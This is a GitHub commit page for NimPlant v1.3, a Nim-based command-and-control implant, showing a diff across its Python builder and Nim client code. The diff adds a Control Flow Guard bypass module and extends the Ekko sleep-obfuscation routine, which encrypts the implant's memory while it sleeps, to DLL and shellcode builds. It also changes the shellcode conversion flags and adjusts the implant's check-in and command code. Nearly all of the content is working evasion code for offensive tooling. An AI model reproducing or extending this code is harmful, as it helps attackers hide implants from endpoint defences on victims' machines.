Skip to content

Commit

Permalink
NimPlant v1.3
Browse files Browse the repository at this point in the history
  • Loading branch information
chvancooten authored Mar 9, 2024
2 parents d41076a + 5d05087 commit 32d4075
Show file tree
Hide file tree
Showing 94 changed files with 4,048 additions and 3,238 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
__pycache__/
.vscode
.xorkey
*.pem
*.key
*.bin
*.db
*.dll
Expand Down
34 changes: 19 additions & 15 deletions NimPlant.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,15 +11,15 @@

import os
import random
import sys
import time
import toml
from pathlib import Path
from client.dist.srdi.ShellcodeRDI import *
from client.dist.srdi.ShellcodeRDI import ConvertToShellcode, HashFunctionName


def print_banner():
print(
"""
r"""
* *(# #
** **(## ##
######## ( ********
Expand Down Expand Up @@ -62,8 +62,8 @@ def print_usage():
)


def getXorKey(force_new=False):
if os.path.isfile(".xorkey") and force_new == False:
def get_xor_key(force_new=False):
if os.path.isfile(".xorkey") and not force_new:
file = open(".xorkey", "r")
xor_key = int(file.read())
else:
Expand All @@ -72,8 +72,8 @@ def getXorKey(force_new=False):
"NOTE: Make sure the '.xorkey' file matches if you run the server elsewhere!"
)
xor_key = random.randint(0, 2147483647)
file = open(".xorkey", "w")
file.write(str(xor_key))
with open(".xorkey", "w") as file:
file.write(str(xor_key))

return xor_key

Expand Down Expand Up @@ -123,14 +123,19 @@ def compile_nim_debug(binary_type, _):

def compile_nim(binary_type, xor_key, debug=False):
# Parse config for certain compile-time tasks
configPath = os.path.abspath(
config_path = os.path.abspath(
os.path.join(os.path.dirname(sys.argv[0]), "config.toml")
)
config = toml.load(configPath)
config = toml.load(config_path)

# Enable Ekko sleep mask if defined in config.toml, but only for self-contained executables
sleep_mask_enabled = config["nimplant"]["sleepMask"]
if sleep_mask_enabled and binary_type not in ["exe", "exe-selfdelete"]:
if sleep_mask_enabled and binary_type not in [
"exe",
"exe-selfdelete",
"dll",
"raw",
]:
print(" ERROR: Ekko sleep mask is only supported for executables!")
print(f" Compiling {binary_type} without sleep mask...")
sleep_mask_enabled = False
Expand Down Expand Up @@ -185,7 +190,7 @@ def compile_nim(binary_type, xor_key, debug=False):

# Convert DLL to PIC using sRDI
dll = open("client/bin/NimPlant.dll", "rb").read()
shellcode = ConvertToShellcode(dll, HashFunctionName("Update"), flags=0x5)
shellcode = ConvertToShellcode(dll, HashFunctionName("Update"), flags=0x4)
with open("client/bin/NimPlant.bin", "wb") as f:
f.write(shellcode)

Expand All @@ -201,7 +206,6 @@ def compile_nim(binary_type, xor_key, debug=False):

if len(sys.argv) > 1:
if sys.argv[1] == "compile":

if len(sys.argv) > 3 and sys.argv[3] in ["nim", "nim-debug"]:
implant = sys.argv[3]
else:
Expand All @@ -220,16 +224,16 @@ def compile_nim(binary_type, xor_key, debug=False):
binary = "all"

if "rotatekey" in sys.argv:
xor_key = getXorKey(True)
xor_key = get_xor_key(True)
else:
xor_key = getXorKey()
xor_key = get_xor_key()

compile_implant(implant, binary, xor_key)

print("Done compiling! You can find compiled binaries in 'client/bin/'.")

elif sys.argv[1] == "server":
xor_key = getXorKey()
xor_key = get_xor_key()
from server.server import main

try:
Expand Down
6 changes: 4 additions & 2 deletions client/NimPlant.nim
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ when defined risky:
# Parse the configuration at compile-time
let CONFIG : Table[string, string] = parseConfig()

const version: string = "NimPlant v1.2"
const version: string = "NimPlant v1.3"
proc runNp() : void =
echo version

Expand Down Expand Up @@ -62,7 +62,7 @@ proc runNp() : void =
quit(0)

when defined verbose:
echo obf("DEBUG: Failed to register with server. Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".")
echo obf("DEBUG: Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".")

proc handleFailedCheckin() : void =
sleepMultiplier = 3^currentAttempt
Expand Down Expand Up @@ -128,6 +128,8 @@ proc runNp() : void =
sleepMultiplier = 1

except:
when defined verbose:
echo obf("DEBUG: Got unexpected exception when attempting to register: ") & getCurrentExceptionMsg()
handleFailedRegistration()

# Otherwise, process commands from registered server
Expand Down
2 changes: 1 addition & 1 deletion client/NimPlant.nimble
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Package information
# NimPlant isn't really a package, Nimble is mainly used for easy dependency management
version = "1.2"
version = "1.3"
author = "Cas van Cooten"
description = "A Nim-based, first-stage C2 implant"
license = "MIT"
Expand Down
1 change: 0 additions & 1 deletion client/commands/download.nim
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,6 @@ proc download*(li : Listener, cmdGuid : string, args : varargs[string]) : strin
allowAnyHttpsCertificate: true,
headers: @[
Header(key: obf("User-Agent"), value: li.userAgent),
Header(key: obf("Content-Encoding"), value: obf("gzip")),
Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID
Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID
],
Expand Down
20 changes: 10 additions & 10 deletions client/commands/whoami.nim
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
from winim/lean import GetUserName, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation,
TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, TCHAR
from winim/lean import GetUserNameW, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation,
TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, WCHAR
from winim/utils import `&`
import strutils
from winim/inc/lm import UNLEN
import winim/winstr
import ../util/strenc

# Determine if the user is elevated (running in high-integrity context)
Expand All @@ -27,13 +28,12 @@ proc isUserElevated(): bool =
# Get the current username via the GetUserName API
proc whoami*() : string =
var
buf : array[257, TCHAR] # 257 is UNLEN+1 (max username length plus null terminator)
lpBuf : LPWSTR = addr buf[0]
pcbBuf : DWORD = int32(len(buf))
buf = newWString(UNLEN + 1)
cb = DWORD buf.len

discard GetUserNameW(&buf, &cb)
buf.setLen(cb - 1)
result.add($buf)

discard GetUserName(lpBuf, &pcbBuf)
for character in buf:
if character == 0: break
result.add(char(character))
if isUserElevated():
result.add(obf("*"))
88 changes: 88 additions & 0 deletions client/util/cfg.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
# This is a Nim-Port of the CFG bypass required for Ekko sleep to work in a CFG enabled process (like rundll32.exe)
# Original works : https://github.com/ScriptIdiot/sleepmask_ekko_cfg, https://github.com/Crypt0s/Ekko_CFG_Bypass
import winim/lean
import strenc

type
CFG_CALL_TARGET_INFO {.pure.} = object
Offset: ULONG_PTR
Flags: ULONG_PTR

type
VM_INFORMATION {.pure.} = object
dwNumberOfOffsets: DWORD
plOutput: ptr ULONG
ptOffsets: ptr CFG_CALL_TARGET_INFO
pMustBeZero: PVOID
pMoarZero: PVOID

type
MEMORY_RANGE_ENTRY {.pure.} = object
VirtualAddress: PVOID
NumberOfBytes: SIZE_T

type
VIRTUAL_MEMORY_INFORMATION_CLASS {.pure.} = enum
VmPrefetchInformation
VmPagePriorityInformation
VmCfgCalltargetInformation
VmPageDirtyStateInformation

type
NtSetInformationVirtualMemory_t = proc (hProcess: HANDLE, VmInformationClass: VIRTUAL_MEMORY_INFORMATION_CLASS, NumberOfEntries: ULONG_PTR, VirtualAddresses: ptr MEMORY_RANGE_ENTRY, VmInformation: PVOID, VmInformationLength: ULONG): NTSTATUS {.stdcall.}

# Value taken from: https://www.codemachine.com/downloads/win10.1803/winnt.h
var CFG_CALL_TARGET_VALID = 0x00000001

proc evadeCFG*(address: PVOID): BOOl =
var dwOutput: ULONG
var status: NTSTATUS
var mbi: MEMORY_BASIC_INFORMATION
var VmInformation: VM_INFORMATION
var VirtualAddresses: MEMORY_RANGE_ENTRY
var OffsetInformation: CFG_CALL_TARGET_INFO
var size: SIZE_T

# Get start of region in which function resides
size = VirtualQuery(address, addr(mbi), sizeof(mbi))

if size == 0x0:
return false

if mbi.State != MEM_COMMIT or mbi.Type != MEM_IMAGE:
return false

# Region in which to mark functions as valid CFG call targets
VirtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize)
VirtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress)

# Create an Offset Information for the function that should be marked as valid for CFG
OffsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress)
OffsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID

# Wrap the offsets into a VM_INFORMATION
VmInformation.dwNumberOfOffsets = 0x1
VmInformation.plOutput = addr(dwOutput)
VmInformation.ptOffsets = addr(OffsetInformation)
VmInformation.pMustBeZero = nil
VmInformation.pMoarZero = nil

# Resolve the function
var NtSetInformationVirtualMemory = cast[NtSetInformationVirtualMemory_t](
GetProcAddress(LoadLibraryA(obf("ntdll")), obf("NtSetInformationVirtualMemory"))
)

# Register `address` as a valid call target for CFG
status = NtSetInformationVirtualMemory(
GetCurrentProcess(),
VmCfgCalltargetInformation,
cast[ULONG_PTR](1),
addr(VirtualAddresses),
cast[PVOID](addr(VmInformation)),
cast[ULONG](sizeof(VmInformation))
)

if status != 0x0:
return false

return true
38 changes: 33 additions & 5 deletions client/util/ekko.nim
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
# This is a Nim-Port of the Ekko Sleep obfuscation by @C5pider, original work: https://github.com/Cracked5pider/Ekko
# Ported to Nim by Fabian Mosch, @ShitSecure (S3cur3Th1sSh1t)

# TODO: Modify to work with .dll/.bin compilation type, see: https://mez0.cc/posts/vulpes-obfuscating-memory-regions/#Sleeping_with_Timers
# TODO: Check which exact functions are needed to minimize the imports for winim
import winim/lean
import ptr_math
import std/random
import strenc
import cfg

type
USTRING* {.bycopy.} = object
Expand All @@ -16,6 +16,29 @@ type

randomize()

# Find the start of the DLL by matching the magic bytes. This is a Nim implementation of the infamous Reflective Loader by Stephen Fewer
# Original Work: https://github.com/stephenfewer/ReflectiveDLLInjection
proc findBaseAddress(start: PVOID): PVOID =
var candidate: PVOID = start
var candidateMZ: PIMAGE_DOS_HEADER
var candidatePE: PIMAGE_NT_HEADERS
var offset: LONG

while true:
candidateMZ = cast[PIMAGE_DOS_HEADER](candidate)

# Match the MZ magic bytes
if candidateMZ.e_magic == IMAGE_DOS_SIGNATURE:
# Sanity Check
offset = candidateMZ.e_lfanew
if offset > sizeof(IMAGE_DOS_HEADER) and offset < 1024:
candidatePE = cast[PIMAGE_NT_HEADERS](candidate + offset)
# Match the PE magic bytes
if candidatePE.Signature == IMAGE_NT_SIGNATURE:
return candidate
# Check the next address
candidate = candidate - 1

proc ekkoObf*(st: int): VOID =
var CtxThread: CONTEXT
var RopProtRW: CONTEXT
Expand Down Expand Up @@ -43,7 +66,7 @@ proc ekkoObf*(st: int): VOID =
hTimerQueue = CreateTimerQueue()
NtContinue = GetProcAddress(GetModuleHandleA(obf("Ntdll")), obf("NtContinue"))
SysFunc032 = GetProcAddress(LoadLibraryA(obf("Advapi32")), obf("SystemFunction032"))
ImageBase = cast[PVOID](GetModuleHandleA(LPCSTR(nil)))
ImageBase = findBaseAddress(cast[PVOID](findBaseAddress))
ImageSize = (cast[PIMAGE_NT_HEADERS](ImageBase +
(cast[PIMAGE_DOS_HEADER](ImageBase)).e_lfanew)).OptionalHeader.SizeOfImage
Key.Buffer = KeyBuf.addr
Expand All @@ -52,12 +75,17 @@ proc ekkoObf*(st: int): VOID =
Img.Buffer = ImageBase
Img.Length = ImageSize
Img.MaximumLength = ImageSize

# Add NtContinue as a valid call target for CFG
NtContinue = GetProcAddress(GetModuleHandleA(obf("ntdll")), obf("NtContinue"))
discard evadeCFG(NtContinue)

if CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](RtlCaptureContext),
addr(CtxThread), 0, 0, WT_EXECUTEINTIMERTHREAD):
WaitForSingleObject(hEvent, 0x32)
copyMem(addr(RopProtRW), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopMemEnc), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopDelay), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopDelay), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopMemDec), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopProtRX), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopSetEvt), addr(CtxThread), sizeof((CONTEXT)))
Expand Down Expand Up @@ -101,8 +129,8 @@ proc ekkoObf*(st: int): VOID =
addr(RopProtRW), 100, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
addr(RopMemEnc), 200, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), addr(RopDelay),
300, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
addr(RopDelay), 300, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
addr(RopMemDec), 400, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
Expand Down
4 changes: 2 additions & 2 deletions client/util/webClient.nim
Original file line number Diff line number Diff line change
Expand Up @@ -137,14 +137,14 @@ proc getQueuedCommand*(li : Listener) : (string, string, seq[string]) =
else:
try:
# Attempt to parse task (parseJson() needs string literal... sigh)
var responseData = decryptData(parseJson(res.body)["t"].getStr(), li.cryptKey).replace("\'", "\"")
var responseData = decryptData(parseJson(res.body)["t"].getStr(), li.cryptKey).replace("\'", "\\\"")
var parsedResponseData = parseJson(responseData)

# Get the task and task GUID from the response
var task = parsedResponseData["task"].getStr()
cmdGuid = parsedResponseData["guid"].getStr()

try:
try:
# Arguments are included with the task
cmd = task.split(' ', 1)[0].toLower()
args = parseCmdLine(task.split(' ', 1)[1])
Expand Down
Loading

0 comments on commit 32d4075

Please sign in to comment.